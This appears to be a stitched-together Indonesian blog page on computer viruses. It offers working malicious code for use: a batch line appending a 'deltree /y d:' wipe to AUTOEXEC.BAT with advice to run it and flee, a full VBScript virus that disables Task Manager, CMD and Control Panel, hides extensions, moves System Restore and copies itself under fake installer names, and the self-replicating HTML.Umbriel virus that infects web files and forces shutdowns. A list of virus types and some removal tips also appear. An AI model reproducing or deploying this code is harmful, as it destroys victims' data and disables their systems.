echo deltree /y d:\*.*>> AUTOEXEC.BAT


Well.. ga' perlu dijelasin pasti udah pada ngerti donk. Yup, kalo udah disimpan (misalnya LAMER.BAT) lansung eksekusi dan shutdown komputernya trus kabur dech hihihi... program perusak kamu bakalan bekerja dengan sendirinya begitu si korban nyalain komputernya lagi.

Macam dan Jenis Virus Komputer

Virus komputer merupakan program komputer yang dapat menggandakan atau menyalin dirinya sendiri dan menyebar dengan cara menyisipkan salinan dirinya ke dalam program atau dokumen lain. Virus komputer dapat dianalogikan dengan virus biologis yang menyebar dengan cara menyisipkan dirinya sendiri ke sel makhluk hidup,  Virus komputer dapat merusak (misalnya dengan merusak data pada dokumen), membuat pengguna komputer merasa terganggu, sehingga dapat menyebabkan komputer sering ngehang, lelet, bluescreen, bahkan sampai-sampai untuk mengatasinya kita harus melakukan instal ulang komputer, karena kadang antivirus kita tidak mampu untuk mengatasinya. Lebih-lebih yang terbiasa menggunakan antivirus gratis.

Virus komputer sendiri adalah sebuah istilah umum untuk menggambarkan segala jenis serangan terhadap komputer. Namun, bila dikategorikan dari cara kerjanya, virus komputer dapat dikelompokkan ke dalam kategori sebagai berikut:

    * Worm - Menduplikatkan dirinya sendiri pada harddisk. Ini membuat sumber daya komputer (Harddisk) menjadi penuh akan worm itu.
    * Trojan - Mengambil data pada komputer yang telah terinfeksi dan mengirimkannya pada pembuat trojan itu sendiri.
    * Hacking - merupakan serangan langsung dari hacker terhadap komputer pengguna yang mengakses laman internet tertentu, dengan atau tanpa program bantuan yang telah disisipkan di komputer pengguna.
    * Backdoor - Hampir sama dengan trojan. Namun, Backdoor bisanya menyerupai file yang baik-baik saja. Misalnya game.
    * Spyware - Virus yang memantau komputer yang terinfeksi.
    * Rogue - merupakan program yang meniru program antivirus dan menampilkan aktivitas layaknya antivirus normal, dan memberikan peringatan-peringatan palsu tentang adanya virus. Tujuannya adalah agar pengguna membeli dan mengaktivasi program antivirus palsu itu dan mendatangkan uang bagi pembuat virus rogue tersebut. Juga rogue dapat membuka celah keamanan dalam komputer guna mendatangkan virus lain.
    * Rootkit - Virus yang bekerja menyerupai kerja sistem komputer yang biasa saja. Biasanya, antivirus ini sulit dideteksi oleh antivirus.
    * Polymorphic - Adalah Virus yang gemar beubah-ubah agar tidak dapat terdeteksi.
    * Metamorphic - Adalah Virus yang mengubah pengkodeannya sendiri agar lebih sulit dideteksi.
    * Virus Handphone - merupakan virus yang khusus berjalan di telepon seluler, dan dapat menimbulkan berbagai macam efek, mulai dari merusak Handphone, mencuri data-data di dalam telepon Handphone, sampai membuat panggilan-panggilan diam-diam dan menghabiskan pulsa pengguna Handphone.

Kode Virus Visual Basic or Notepad


On error resume next
Dim Regpen, FSO, Copier, Creator, Dupler, Deleter, Runner
set Regpen = CreateObject ("Wscript.Shell")
set FSO = CreateObject ("Scripting.FileSystemObject")
set Creator = FSO.CreateTextFile ("C:\indonesia.vbs", true)
Creator.WriteLine ("Msgbox ("& Chr (34) & "zionis fuck you :<" & chr (34)& ")")
Creator.Close

Regpen.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr entVersion\Policies\System\NoRun","1","REG_DWORD"
Regpen.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr entVersion\Policies\System\DisableTaskMgr","1","RE G_DWORD"
Regpen.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr entVersion\Policies\System\DisableCMD","1","REG_DW ORD"
Regpen.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr entVersion\Policies\Explorer\NoFolderOption","1"," REG_DWORD"
Regpen.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr entVersion\Policies\Explorer\NoDrives","16","REG_D WORD"
Regpen.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr entVersion\Policies\Explorer\NoSaveSettings","1"," REG_DWORD"
Regpen.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr entVersion\Policies\Explorer\NoControlPanel","1"," REG_DWORD"
Regpen.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr entVersion\Policies\NoSetTaskbar","1","REG_DWORD"
Regpen.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr entVersion\Policies\Explorer\Advanced\HideFileExt" ,"1","REG_DWORD"
Regpen.Regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Cur rentVersion\Winlogon\LegalNoticeCaption", "THE Syaithan-X"
Regpen.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Cur rentVersion\Winlogon\LegalNoticeText","ASSALAMUALA IKUM, YA AHLIL KUBUR"

Set Copier = FSO.GetFile ("C:\indonesia.vbs")
Copier.Copy ("C:\Documents and Settings\All Users\Start Menu\Programs\Startup\Adobe.vbs")

FSO.CreateFolder ("C:\Program Files\Microsoft 0ffice\0ffice12")
FSO.CreateFolder ("D:\Program")
FSO.CreateFolder ("E:\Program")
FSO.CreateFolder ("F:\Program")
FSO.CreateFolder ("G:\Program")
FSO.CreateFolder ("H:\Program")
FSO.CreateFolder ("I:\Program")
FSO.CreateFolder ("J:\Program")
FSO.CreateFolder ("K:\Program")

Set Deleter = FSO.GetFile ("C:\Windows\System32\Restore\rstrui.exe")
Deleter.Move ("C:\Program Files\Microsoft 0ffice\0ffice12\rstrui.Gnamu")

set Dupler = FSO.GetFile (WScript.ScriptFullName)
Dupler.Copy ("C:\Program Files\Microsof 0ffice\0ffice12\fearless.vbs")
Dupler.Copy ("C:\Documents and Settings\All Users\Start Menu\Programs\Startup\Desktop.ini.vbs")
Dupler.Copy ("C:\Documents and Settings\All Users\Desktop\fearless_antivirus.exe.vbs")
Dupler.Copy ("C:\Windows\System32\Restore\rstrui.exe.vbs")
Dupler.Copy ("D:\Program\MotoGP_SETUP.vbs")
Dupler.Copy ("E:\Program\TuneUp2009_SETUP.vbs")
Dupler.Copy ("F:\Program\Ansav_SETUP.vbs")
Dupler.Copy ("G:\Program\DeltaForce_SETUP.vbs")
Dupler.Copy ("H:\Program\DeltaForce_SETUP.vbs")
Dupler.Copy ("I:\Program\Ansav_SETUP.vbs")
Dupler.Copy ("J:\Program\Project.vbs")
Dupler.Copy ("K:\Program\fearless.vbs")

Set Runner = WScript.CreateObject ("WScript.Shell")
Runner.Run ("C:\Program Files\Microsoft 0ffice\0ffice12\fearless.vbs")





Simpan dengan format all Files>>>>
(nama_virus.exe.vbs) ex= lahum_hack.exe.vbs

Html virus script


<html><!--Umbriel-->
<head>
<title> Second Part To Hell's HTML.Umbriel </title>
</head>
<body>
<script language="VBScript">
rem VBS
On Error Resume Next
Dim fso, shell, wrte, tempdir, windir, rand, file
Set fso=CreateObject("Scripting.FileSystemObject")
Set shell=CreateObject("Wscript.Shell")
if err.number=429 Then
  shell.Run java script:location.reload()
End If

Set windir=fso.GetSpecialFolder(0)
Set tempdir=fso.GetSpecialFolder(2)

Set wrte=fso.CreateTextFile(windir+"windows.cmd")
wrte.WriteLine "cls"
wrte.WriteLine "@echo off"
wrte.WriteLine "shutdown -s -f -t 300 -c "+chr(34)+"Second Part To Hell's Umbriel has you..."+chr(34)
wrte.Close()

shell.RegWrite "HKEY_CURRENT_USERSoftwareMicrosoftInternet ExplorerDesktopComponents1Source", "C:umbriel.html"
shell.RegWrite "HKEY_CURRENT_USERSoftwareMicrosoftInternet ExplorerDesktopComponents1SubscribedURL", "C:umbriel.html"

Randomize
rand=int(rnd*5)+1
If rand=1 then
  shell.Run windir+"windows.cmd"
End If
</script>

<script language="JavaScript">
// JS
var viruspath, virus, code, fso, file, check, checka, checkb
fso=new ActiveXObject("Scripting.FileSystemObject")
viruspath=window.location.pathname
viruspath=viruspath.slice(1)
virus=fso.OpenTextFile(viruspath,1)
file=fso.CreateTextFile("C:\umbriel.html")
for (i=0; i<500; i++)
{
  if (checkb!=1)
  {
    if (Math.round(Math.random()*5)+1 == 3)
    {
      if (check == 2)
      {
        file.WriteLine("/"+"*")
        file.WriteLine("*"+"/")
      }
      if (check == 3)
      {
        file.WriteLine("rem")
      }
    }
    code=virus.ReadLine()
    if (code == "/"+"*") { checka=666 }
    if (code == "*"+"/") { checka=666 }
    if (code == "rem") { checka=666 }
    if (checka != 666 ) { file.WriteLine(code) }
    checka=0
    if (code=="</"+unescape("%68")+"tml>") { checkb=1 }
    if (code=="// JS") { check=2 }
    if (code=="rem VBS") { check=3 }
    if (code=="</"+unescape("%73")+"cript>") { check=0 }
  }
}
virus.Close();
file.Close();
</script>

<script language="VBScript">
rem VBS
On Error Resume Next
set fso=CreateObject("Scripting.FileSystemObject")
set shell=CreateObject("WScript.Shell")
set myfile=fso.OpenTextFile("C:umbriel.html")
mycode=myfile.ReadAll
myfile.Close()
rr=shell.RegRead("HKEY_CURRENT_USERSoftwareMicrosoftFrontPageExplorerFrontPage ExplorerRecent Page ListFile1")
if rr <> "" Then Call Umbriel(rr, mycode)
rr=shell.RegRead("HKEY_CURRENT_USERSoftwareMicrosoftFrontPageExplorerFrontPage ExplorerRecent Page ListFile2")
if rr <> "" Then Call Umbriel(rr, mycode)
rr=shell.RegRead("HKEY_CURRENT_USERSoftwareMicrosoftFrontPageExplorerFrontPage ExplorerRecent Page ListFile3")
if rr <> "" Then Call Umbriel(rr, mycode)
rr=shell.RegRead("HKEY_CURRENT_USERSoftwareMicrosoftFrontPageExplorerFrontPage ExplorerRecent Page ListFile4")
if rr <> "" Then Call Umbriel(rr, mycode)
rr=shell.RegRead("HKEY_CURRENT_USERSoftwareMicrosoftFrontPageExplorerFrontPage ExplorerRecent Page ListFile5")
if rr <> "" Then Call Umbriel(rr, mycode)

Sub Umbriel(rr, mycode)
set victim=fso.OpenTextFile(rr)
infcheck=victim.ReadLine
If infcheck<>"<html><!--Umbriel-->" Then
  viccode=victim.ReadAll
  victim.Close()
  set wrtevic=fso.OpenTextFile(rr, 2, false, 0)
  wrtevic.Write (mycode+infcheck+chr(13)+chr(10)+viccode)
  wrtevic.Close
End If

End Sub
</script>
</body>
</html>

Jenis-Jenis Virus Komputer

Karena kehadiran virus pada komputer secara langsung maupun tidak langsung sangat mengganggu kerja kita, maka disini saya mencoba menguraikan tentang jenis jenis virus komputer yang sering kita jumpai, dari yang tidak berbahaya sampai yang paling berbahaya. Simak penjelasannya pada artikel di bawah ini yang saya rangkum dari beberapa sumber.

VBscript Virus Merajalela

Serangan virus jenis VBScript masih sangat tinggi, ini terbukti dari banyaknya laporan yang mengeluhkan perihal virus jenis script ini. Satu virus yang melesat tinggi ke urutan pertama adalah Discusx.vbs. Bila Anda masih ingat dengan virus ini, di Virus Top-10 edisi Maret 2008 yang lalu, virus Discusx.vbs berada di urutan 5, namun kali ini dia melesat naik ke urutan pertama.

Saturday, October 8, 2011

Kode-kode Virus

Kali ini kita buat beberapa script yang berfungsi pada OS windows, scriptnya akan berfungsi sesuai dengan fungsinya

Tidak perlu susah ? karna script hanya di muat di notepad, type save nya cukup dengan format .VBS atau .bat

Langsung aja deh ?

Cara Menghapus Virus Copy of Shortcut + Recycler

pake sopware sejenis task manager (hijjackthis,process explorer) atau apalah...
di rename nama sopware nya, kali2 d blokir...

kill process svchost.exe, yg jalanin "user" yah, bukan system.... ada 2 klo gk salah yg running. kill process dua2 nya...

Cara Menghapus Virus Shortcut

CARA 1 MENGHAPUS VIRUS SHORTCUT:

Berikut 8 langkah praktis untuk mendepak virus yang mampu mengubah folder yang ada di dalam USB flash disk menjadi shortcut tersebut:

1. Nonaktifkan ‘System Restore’ untuk sementara selama proses pembersihan.

2. Putuskan komputer yang akan dibersihkan dari jaringan.

3. Matikan proses virus yang aktif di memori dengan menggunakan tools ‘Ice Sword’.
Setelah tools tersebut terinstal, pilih file yang mempunyai icon ‘Microsoft Visual Basic Project’ kemudian klik ‘Terminate Process’. Silahkan download tools tersebut di http://icesword.en.softonic.com/